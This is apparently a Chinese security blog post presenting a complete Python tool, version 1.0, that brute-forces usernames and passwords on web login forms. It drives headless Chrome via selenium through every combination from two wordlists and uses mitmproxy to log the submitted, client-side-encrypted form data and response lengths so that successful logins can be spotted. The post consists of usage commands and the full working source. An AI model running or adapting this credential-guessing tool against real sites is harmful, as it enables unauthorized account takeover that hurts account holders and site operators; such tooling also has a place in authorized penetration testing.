显示 / 隐藏 文章目录 ]

selenium+mitmproxy+python实现加密爆破账户密码V1.0

上次更新: 2024-07-14 21:54:02

selenium+mitmproxy+python实现加密爆破账户密码V1.0

使用方法

python main.py -t https://xxxx -ux '//*[@id="username"]' -px '//*[@id="password"]' -U a.txt -P p.txt -lx '//*[@id="login-form"]/form/table/tbody/tr[4]/td[2]/input' -proxy http://127.0.0.1:8081
python main.py -h
usage: main.py [-h] -t TARGET -U USERNAMES -P PASSWORDS -ux USERNAME_XPATH -px PASSWORD_XPATH -lx
LOGIN_XPATH [-proxy PROXY]

Run Selenium tests with DDT.

options:
-h, --help            show this help message and exit
-t TARGET, --target TARGET
Path to the target.
-U USERNAMES, --usernames USERNAMES
Path to the usernames text file.
-P PASSWORDS, --passwords PASSWORDS
Path to the passwords text file.
-ux USERNAME_XPATH, --username_xpath USERNAME_XPATH
XPath expression for the username field.
-px PASSWORD_XPATH, --password_xpath PASSWORD_XPATH
XPath expression for the password field.
-lx LOGIN_XPATH, --login_xpath LOGIN_XPATH
XPath expression for the login button.
-proxy PROXY, --proxy PROXY
代理,例如http://127.0.0.1:8080

源码

import threading
import asyncio
from mitmproxy import options, http
from mitmproxy.tools.dump import DumpMaster
import argparse
import sys
from selenium import webdriver
import unittest
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from ddt import ddt, data, unpack
import time

global_enable_logging = False
global_request_text= ""

class RequestLogger:
    def request(self, flow: http.HTTPFlow):
        if not global_enable_logging:
            return
        # print(f"URL: {flow.request.url}")
        # print(f"Method: {flow.request.method}")#类型
        #print(f"Headers: {flow.request.headers}")#headers数据
        print(f"data: {flow.request.text}")#data数据
        global global_request_text
        global_request_text=flow.request.text
        

        # print(flow.request.first_line_format)
    def response(self, flow: http.HTTPFlow):
        if not global_enable_logging:
            return
        
        if global_request_text == "":
            return
        print('_______________')
        # print('1')
        # print( flow.response.text)
        print(f"Content-Length: {len(flow.response.content)}")
        # print("Response Content:")
        # print(f"URL: {flow.request.url}")
        # print(f"Method: {flow.request.method}")
        # print(f"Status Code: {flow.response.status_code}")
        # if flow.response.status_code != 200:
        #     print("Error in response, printing content:")
        #     print(flow.response.content)

def run_mitmproxy(host, port):
    # Create a new event loop for this thread
    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)

    try:
        # Create a task and run it using the event loop
        async def start_mitmproxy():
            opts = options.Options(listen_host=host, listen_port=port, ssl_insecure=True)
            master = DumpMaster(
                opts,
                with_termlog=False,
                with_dumper=False,
            )
            master.addons.add(RequestLogger())
            await master.run()

        # Schedule the task and run the event loop
        task = loop.create_task(start_mitmproxy())
        loop.run_until_complete(task)
    finally:
        # Clean up the event loop when done
        loop.close()


# Start mitmproxy server in a separate thread
def start_proxy_thread(host, port):
    proxy_thread = threading.Thread(target=run_mitmproxy, args=(host, port), daemon=True)
    proxy_thread.start()
    return proxy_thread


# Parse command-line arguments
def parse_args():
    parser = argparse.ArgumentParser(description='Run Selenium tests with DDT.')
    parser.add_argument('-t', '--target', help='Path to the target.', required=True)
    parser.add_argument('-U', '--usernames', help='Path to the usernames text file.', required=True)
    parser.add_argument('-P', '--passwords', help='Path to the passwords text file.', required=True)
    parser.add_argument('-ux', '--username_xpath', help='XPath expression for the username field.', required=True)
    parser.add_argument('-px', '--password_xpath', help='XPath expression for the password field.', required=True)
    parser.add_argument('-lx', '--login_xpath', help='XPath expression for the login button.', required=True)
    parser.add_argument('-proxy', '--proxy', help='代理,例如http://127.0.0.1:8080', required=False)
    return parser.parse_args()

# Global variables from command-line arguments
args = parse_args()
target = args.target
username_p = args.usernames
password_p = args.passwords
username_xpath = args.username_xpath
password_xpath = args.password_xpath
login_xpath = args.login_xpath
proxy = args.proxy

# Function to read data from text files
def get_data_from_txt(username_file, password_file):
    with open(username_file, 'r') as usernames, open(password_file, 'r') as passwords:
        username_data = usernames.readlines()
        password_data = passwords.readlines()
        data_list = []
        for username in username_data:
            for password in password_data:
                data_list.append((username.strip(), password.strip()))
        return data_list

# Test case class
@ddt
class Scan(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        
        service = Service('chrome/chromedriver/chromedriver')
        chrome_executable_path = 'chrome/Chrome.app/Contents/MacOS/Google Chrome'
        options = webdriver.ChromeOptions()
        options.binary_location = chrome_executable_path
        options.add_argument('--ignore-certificate-errors')
        options.add_argument('--ignore-ssl-errors')
        options.add_argument('--no-sandbox')
        options.add_argument('--headless')#隐藏页面
        options.add_argument("--disable-extensions")
        options.add_argument("--allow-running-insecure-content")
        options.add_argument("--ignore-certificate-errors")
        options.add_argument("--disable-single-click-autofill")
        options.add_argument("--disable-autofill-keyboard-accessory-view[8]")
        options.add_argument("--disable-full-form-autofill-ios")
        options.add_argument('user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0')


        if proxy != None:
            options.add_argument(f'--proxy-server={proxy}')
        
        cls.driver = webdriver.Chrome(service=service, options=options)
        cls.driver.implicitly_wait(10)
        cls.driver.get(target)

    def setUp(self):
        self.driver.get(target)
        self.username = self.driver.find_element(By.XPATH, username_xpath)
        self.password = self.driver.find_element(By.XPATH, password_xpath)
        self.login = self.driver.find_element(By.XPATH, login_xpath)


    @data(*get_data_from_txt(username_p, password_p))
    @unpack
    def test_login(self, username, password):
        self.username.send_keys(username)
        self.password.send_keys(password)


        # 点击登录按钮
        global global_enable_logging 
        global_enable_logging  = True
        self.login.click()
        global_enable_logging = False
        
        
    def tearDown(self):
        
        self.username = self.driver.find_element(By.XPATH, username_xpath)
        self.password = self.driver.find_element(By.XPATH, password_xpath)
        self.login = self.driver.find_element(By.XPATH, login_xpath)
        self.username.clear()
        self.password.clear()
        

    @classmethod
    def tearDownClass(cls):
        #pass
        cls.driver.quit()

if __name__ == '__main__':
    args = parse_args()
    target = args.target
    # ... other parameters setup ...

    # Start mitmproxy server in a separate thread
    proxy_thread = start_proxy_thread('127.0.0.1', 8081)
    # Wait for mitmproxy to be ready - you might want to implement a more robust check here
    time.sleep(5)  # Sleep for 5 seconds to ensure mitmproxy is up

    # Run Selenium tests
    sys.argv = [sys.argv[0]]
    unittest.main()

RecoveryAshes Blog